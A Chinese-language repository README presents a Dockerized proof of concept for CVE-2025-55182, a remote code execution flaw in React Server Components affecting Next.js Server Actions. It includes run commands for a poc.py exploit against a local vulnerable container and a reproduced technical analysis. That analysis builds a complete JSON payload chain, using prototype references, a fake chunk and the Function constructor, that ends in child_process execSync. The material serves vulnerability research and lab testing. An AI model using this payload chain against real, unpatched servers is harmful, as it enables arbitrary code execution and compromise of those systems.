CVE-2025-55182 - Docker化的概念验证

本仓库包含了CVE-2025-55182的Docker化概念验证，这是一个在React Server Components (RSC) 中的严重远程代码执行漏洞，影响使用Server Actions的Next.js应用。

致谢

原始概念验证和漏洞分析由msanft创建。本仓库通过提供一个Docker化测试环境来扩展其工作，以便于测试和演示。

快速开始

前提条件

已安装并运行的Docker
Python 3及requests库（pip install requests）

运行漏洞利用

启动存在漏洞的Next.js服务器：
```
docker compose up --build -d
```
等待服务器启动（使用docker compose logs -f nextjs-server检查日志）

运行漏洞利用脚本：

# 自动化脚本（推荐）
./exploit-docker.sh

# 或者手动执行
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

验证漏洞利用是否成功：

docker compose exec nextjs-server ls -la /tmp/rce_test

示例命令

# 创建文件
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"

# 写入文件
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"

# 检查当前用户
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"

# 验证结果
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user

重要说明

⚠️ 超时错误是预期的 - 它们表示RCE已成功执行
服务器在执行命令后会挂起，导致HTTP超时
命令以nextjs用户（UID 1001）身份在容器内执行
文件创建在容器内部文件系统中，而非宿主机上

Docker设置

本仓库包含一套完整的Docker设置，用于测试该漏洞：

docker-compose.yml - Docker Compose配置
test-server/ - 存在漏洞的Next.js应用
test-server/Dockerfile - 生产环境Dockerfile
test-server/Dockerfile.dev - 开发环境Dockerfile（可选）

漏洞服务器运行Next.js 16.0.6，带有一个简单的Server Action，可被利用。

文件说明

poc.py - Python概念验证脚本（原始来源msanft，包含引号转义修复）
exploit-docker.sh - 针对Docker环境的自动化漏洞利用脚本
DOCKER_SETUP.md - 全面的Docker设置文档

清理

# 停止容器
docker compose down

# 移除所有内容（包括卷）
docker compose down -v

原始漏洞分析

以下是原始研究中的详细漏洞分析、利用链及补丁信息。

msanft的原始研究

该漏洞允许在React Server Functions中实现RCE，例如Next.js通过不安全的原型引用提供的功能。

我不是React或Next.js方面的专家，因此这里的所有信息仅供参考。此外，我仍在分析过程中，因此我在下面描述的“漏洞”可能只是完整链条的一小部分。

背景

React提供了Server Functions¹，可以看作是某种RPC-over-HTTP。它们可用于从相邻对等节点获取数据以确保低延迟，或执行客户端缺少凭据的认证请求。

React使用称为React Flight Protocol²的协议来序列化传递给Server Functions的值。

客户端通过表单数据等方式向服务器传递“chunk”：

files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

如所示，这些chunk之间可以存在引用。上述负载在服务器端反序列化为：

{ object: 'fruit', name: 'cherry' }

该格式本身更为复杂，允许更复杂的序列化和反序列化，但这为理解实际漏洞提供了基本知识。

漏洞

直到此次提交³之前，在遍历chunk进行引用解析时（例如从上述示例中的chunk 2获取fruitName），React并未验证请求的键是否实际设置在对象上。这允许我们获取对象原型⁴。

可以通过如下负载演示：

files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

其反序列化为函数构造函数⁵：

[Function: Function]

当ID为0的chunk不是数组而是对象时，我们可以将then键设置为函数构造函数。该对象随后由decodeReplyFromBusboy函数返回，并被Next.js等待：

// action-handler.ts:888（补丁前）
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

当它返回一个thenable时，调用者中的await会调用它。这就是以下负载所发生的情况：

files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

导致如下错误：

SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

该错误如此显示是因为V8使用内部的resolve和reject函数调用awaited函数，这些函数在toString化后会序列化为类似的内容：

function () { [native code] }

利用

由于我们可以轻易获取Function构造函数，直接的方法是找到一个调用该构造函数的gadget，该构造函数使用用户控制的值（即函数代码作为字符串），然后调用返回的函数。

有多个地方可以调用函数构造函数，例如resolveServerReference，其中id是一个可控对象，lastIndexOf可以被覆盖以返回用户控制的字符串（例如通过Array.prototype.join），而slice可以被覆盖为函数构造函数。然而，该处不起作用，因为.slice()的第二次调用提供的是数字作为第一个参数，据我所知，函数构造函数永远无法处理该参数。

这里，maple3142⁶的一个绝妙想法派上了用场。当getChunk获取ID为0的chunk作为根引用以开始解析引用链时，这个相同的chunk可以解析为一个精心构造的“假chunk”。

我们可以在chunk 1中使用$@语法引用精心构造的chunk 0，该语法返回“原始”chunk，而非其解析后的值：

case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

结合我们上述的then覆盖，我们可以构造如下负载：

files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

这里，chunk 0将其自身的.then()覆盖为其自身原始chunk表示的.then()。简而言之，我们将自身的.then()覆盖为Chunk.prototype.then，该属性存在，因为Chunk是thenable：

Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

使用上述负载，Chunk.prototype.then最终被调用，参数为精心构造的ID为0的chunk。

如上所示，当我们的假chunk的.status为resolved_model时：

files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

我们进入initializeModelChunk。在这里，.value被解析为JSON，然后在返回的对象上解析引用，使用ID为0和1的chunk的“外部”上下文：

function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

在其中，我们现在获得第二次评估传递，由于外部上下文已经解析，我们可以访问更多的值。

在处理blob数据时（带有$B前缀的飞行协议），存在一个调用gadget：

case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

利用特殊的_response字段，我们控制了精心构造的chunk的response属性：

// 在initializeModelChunk中
value = reviveModel(chunk._response, // ...

因此，我们可以构造一个带有假._formData和._prefix属性的对象：

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

需要添加.reason以绕过initializeModelChunk中toString调用的失败：

var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

通过将._formData指向函数构造函数，并将._prefix指向我们的代码，我们在blob反序列化中获得了函数构造函数的调用gadget：

response._formData.get(response._prefix + "0")
// 变为
Function("return foo; // 0")

我们精心构造的函数随后作为精心构造的chunk的.then()方法返回，该方法同样被等待，因为所有这些都发生在一个单一的promise解析链中。因此，返回一个thenable，我们精心构造的函数被调用。这构成了上面提到的所需调用gadget。

将其与实际的RCE负载结合，我们得到如下内容：

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

补丁

使用chunk引用来获取原型属性的问题已通过以下检查修复：

@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

待解决的问题

为什么React的安全公告⁷提到即使没有主动声明server functions，该漏洞也可能被触发？是否还有其他事物会在底层转变为server functions？

CVE-2025-55182-Dockerized

最受欢迎